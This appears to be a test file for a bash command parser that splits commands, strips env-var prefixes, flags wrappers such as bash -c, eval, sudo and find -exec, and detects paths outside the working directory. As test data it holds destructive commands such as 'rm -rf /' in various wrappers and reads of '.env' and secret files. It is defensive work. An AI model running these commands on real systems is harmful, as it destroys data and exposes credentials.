it("descends recursively through nested contexts", async () => {
const program = await BashProgram.parse("echo $( ( rm x ) )", normalizer);
expect(program.commands()).toEqual([
{ text: "echo $( ( rm x ) )" },
{ text: "( rm x )", context: "command_substitution" },
{ text: "rm x", context: "subshell" },
]);
});
it("descends into a substitution within a chained command", async () => {
const program = await BashProgram.parse(
"cd /p && echo $(rm x)",
normalizer,
);
expect(program.commands()).toEqual([
{ text: "cd /p" },
{ text: "echo $(rm x)" },
{ text: "rm x", context: "command_substitution" },
]);
});
it("keeps the never-weaker invariant: a benign inner command stays", async () => {
const program = await BashProgram.parse("echo $(echo safe)", normalizer);
expect(program.commands()).toEqual([
{ text: "echo $(echo safe)" },
{ text: "echo safe", context: "command_substitution" },
]);
});
it("returns an empty list for an empty or whitespace command", async () => {
expect((await BashProgram.parse("", normalizer)).commands()).toEqual([]);
expect((await BashProgram.parse(" ", normalizer)).commands()).toEqual(
[],
);
});
it("strips a leading env-var assignment prefix", async () => {
const program = await BashProgram.parse(
"AWS_PROFILE=prod aws ec2 terminate-instances --instance-ids i-1",
normalizer,
);
expect(program.commands()).toEqual([
{ text: "aws ec2 terminate-instances --instance-ids i-1" },
]);
});
it("strips multiple leading env-var assignments", async () => {
const program = await BashProgram.parse("A=1 B=2 aws s3 ls", normalizer);
expect(program.commands()).toEqual([{ text: "aws s3 ls" }]);
});
it("strips the env-var prefix of each command in a chain", async () => {
const program = await BashProgram.parse(
"X=1 aws sts get-caller-identity && ls",
normalizer,
);
expect(program.commands()).toEqual([
{ text: "aws sts get-caller-identity" },
{ text: "ls" },
]);
});
it("keeps a pure assignment with no command unchanged", async () => {
const program = await BashProgram.parse("FOO=bar", normalizer);
expect(program.commands()).toEqual([{ text: "FOO=bar" }]);
});
describe("opaque-payload wrappers", () => {
it.each([
['bash -c "rm -rf /"', 'bash -c "rm -rf /"'],
['sh -c "rm -rf /"', 'sh -c "rm -rf /"'],
['dash -c "rm -rf /"', 'dash -c "rm -rf /"'],
['zsh -c "rm -rf /"', 'zsh -c "rm -rf /"'],
['ksh -c "rm -rf /"', 'ksh -c "rm -rf /"'],
['eval "rm -rf /"', 'eval "rm -rf /"'],
['/bin/bash -c "rm -rf /"', '/bin/bash -c "rm -rf /"'],
['bash -ec "rm -rf /"', 'bash -ec "rm -rf /"'],
])("flags %s as opaque", async (command, text) => {
const program = await BashProgram.parse(command, normalizer);
expect(program.commands()).toEqual([
{ text, wrapperKind: "opaque-payload", executedUnit: "rm -rf /" },
]);
});
it("flags an env-prefixed wrapper as opaque after stripping the prefix", async () => {
const program = await BashProgram.parse(
'AWS_PROFILE=prod bash -c "rm -rf /"',
normalizer,
);
expect(program.commands()).toEqual([
{
text: 'bash -c "rm -rf /"',
wrapperKind: "opaque-payload",
executedUnit: "rm -rf /",
},
]);
});
it.each([
"bash script.sh",
"bash",
"ls -la",
"grep -c foo file",
])("does not flag %s as opaque", async (command) => {
const program = await BashProgram.parse(command, normalizer);
expect(program.commands()).toEqual([{ text: command }]);
});
});
describe("indirection wrappers", () => {
it.each([
["sudo aws s3 ls", "sudo aws s3 ls", "aws s3 ls"],
["env FOO=bar aws s3 ls", "env FOO=bar aws s3 ls", "aws s3 ls"],
["xargs rm -rf", "xargs rm -rf", "rm -rf"],
["time aws s3 ls", "time aws s3 ls", "aws s3 ls"],
["nohup aws s3 ls", "nohup aws s3 ls", "aws s3 ls"],
["timeout 10 aws s3 ls", "timeout 10 aws s3 ls", "aws s3 ls"],
["nice -n 10 aws s3 ls", "nice -n 10 aws s3 ls", "aws s3 ls"],
["/usr/bin/sudo aws s3 ls", "/usr/bin/sudo aws s3 ls", "aws s3 ls"],
// Exec-capable rewrites and prefix wrappers (#575).
["parallel rm ::: x", "parallel rm ::: x", "rm ::: x"],
["rust-parallel echo", "rust-parallel echo", "echo"],
["rush echo", "rush echo", "echo"],
["doas aws s3 ls", "doas aws s3 ls", "aws s3 ls"],
["setsid aws s3 ls", "setsid aws s3 ls", "aws s3 ls"],
["stdbuf -oL aws s3 ls", "stdbuf -oL aws s3 ls", "aws s3 ls"],
["watch ls", "watch ls", "ls"],
["flock /tmp/lock aws s3 ls", "flock /tmp/lock aws s3 ls", "aws s3 ls"],
])("flags %s as an indirection wrapper", async (command, text, executedUnit) => {
const program = await BashProgram.parse(command, normalizer);
expect(program.commands()).toEqual([
{ text, wrapperKind: "indirection", executedUnit },
]);
});
it("flags an env-prefixed indirection wrapper after stripping the prefix", async () => {
const program = await BashProgram.parse(
"AWS_PROFILE=prod sudo aws s3 ls",
normalizer,
);
expect(program.commands()).toEqual([
{
text: "sudo aws s3 ls",
wrapperKind: "indirection",
executedUnit: "aws s3 ls",
},
]);
});
it.each([
"aws s3 ls",
"ls -la",
"grep -n foo file",
])("does not flag %s as an indirection wrapper", async (command) => {
const program = await BashProgram.parse(command, normalizer);
expect(program.commands()).toEqual([{ text: command }]);
});
});
describe("exec-conditional wrappers (find/fd)", () => {
it.each([
["find . -exec rm {} \\;", "rm {}"],
["find . -execdir rm {} \\;", "rm {}"],
["find . -ok rm {} \\;", "rm {}"],
["find . -okdir rm {} \\;", "rm {}"],
["fd -x rm", "rm"],
["fd --exec rm", "rm"],
["fd -X rm", "rm"],
["fd --exec-batch rm", "rm"],
])("flags %s as an indirection wrapper", async (command, executedUnit) => {
const program = await BashProgram.parse(command, normalizer);
expect(program.commands()).toEqual([
{ text: command, wrapperKind: "indirection", executedUnit },
]);
});
it.each([
"find . -name foo",
"fd pattern",
"fd -H -t f pattern",
])("does not flag a bare %s search", async (command) => {
const program = await BashProgram.parse(command, normalizer);
expect(program.commands()).toEqual([{ text: command }]);
});
});
describe("executed unit", () => {
it.each([
['bash -c "rm -rf /"', "rm -rf /"],
["sudo aws s3 rm", "aws s3 rm"],
["sudo -u root aws s3 rm", "aws s3 rm"],
["timeout 10 grep foo", "grep foo"],
["find . -name x -exec grep foo {} \\;", "grep foo {}"],
["sudo timeout 5 xargs grep foo", "grep foo"],
])("names what %s actually runs", async (command, executedUnit) => {
const program = await BashProgram.parse(command, normalizer);
expect(program.commands()[0].executedUnit).toBe(executedUnit);
});
it("is absent for an ordinary command", async () => {
const program = await BashProgram.parse("grep foo", normalizer);
expect(program.commands()).toEqual([{ text: "grep foo" }]);
});
it("is absent when the wrapper names no inner command", async () => {
const program = await BashProgram.parse("xargs", normalizer);
expect(program.commands()).toEqual([
{ text: "xargs", wrapperKind: "indirection" },
]);
});
});
});
it("derives both slices from a single parse", async () => {
const cwd = "/projects/my-app";
const normalizer = new PathNormalizer(
pathFlavorForPlatform(process.platform),
cwd,
);
const program = await BashProgram.parse("cat .env /etc/hosts", normalizer);
expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
".env",
"/etc/hosts",
]);
const external = program.externalPaths().map((p) => p.value());
expect(external).toContain("/etc/hosts");
expect(external).not.toContain(".env");
});
describe("workdir seed (#574)", () => {
const cwd = "/projects/my-app";
const normalizer = new PathNormalizer(
pathFlavorForPlatform(process.platform),
cwd,
);
beforeEach(() => {
realpathSync.mockReset();
realpathSync.mockImplementation((p: string) => p);
});
it("flags an absolute workdir outside cwd as an external path", async () => {
const program = await BashProgram.parse("echo hi", normalizer, {
workdir: "/etc",
});
expect(program.externalPaths().map((p) => p.value())).toContain("/etc");
});
it("resolves a relative token against the workdir base", async () => {
const program = await BashProgram.parse("cat ../secret.txt", normalizer, {
workdir: "/etc",
});
const external = program.externalPaths().map((p) => p.value());
// ../secret.txt resolves against /etc, not cwd.
expect(external).toContain("/secret.txt");
expect(external).toContain("/etc");
});
it("keeps an absolute token base-independent under a workdir", async () => {
const program = await BashProgram.parse(
"cat /var/log/syslog",
normalizer,
{ workdir: "/etc" },
);
const external = program.externalPaths().map((p) => p.value());
expect(external).toContain("/var/log/syslog");
expect(external).not.toContain("/etc/var/log/syslog");
});
it("does not flag a workdir inside cwd, and resolves relative tokens under it", async () => {
const program = await BashProgram.parse("cat ../secret.txt", normalizer, {
workdir: "sub",
});
// ../secret.txt from cwd/sub resolves back to cwd/secret.txt (internal),
// and the workdir sub is inside cwd — nothing is external.
expect(program.externalPaths()).toEqual([]);
});
it("resolves a relative path-rule candidate against the workdir base", async () => {
const program = await BashProgram.parse("cat sub/file.txt", normalizer, {
workdir: "/work",
});
const candidate = program
.pathRuleCandidates()
.find(({ token }) => token === "sub/file.txt");
expect(candidate?.path.matchValues()).toContain("/work/sub/file.txt");
});
it("reproduces cwd-based resolution when no workdir is given", async () => {
const program = await BashProgram.parse("cat ../secret.txt", normalizer);
// ../secret.txt from cwd resolves against the parent of cwd.
expect(program.externalPaths().map((p) => p.value())).toContain(
"/projects/secret.txt",
);
});
it("applies Git Bash drive-mount semantics to a win32 workdir", async () => {
const win = new PathNormalizer(win32PathFlavor, "C:\\projects\\app");
const program = await BashProgram.parse("echo hi", win, {
workdir: "/c/work",
});
// /c/work is the MSYS mount for C:\work — outside the cwd, so flagged.
const external = program.externalPaths().map((p) => p.value());
expect(external.some((v) => v.toLowerCase().includes("work"))).toBe(true);
});
});
});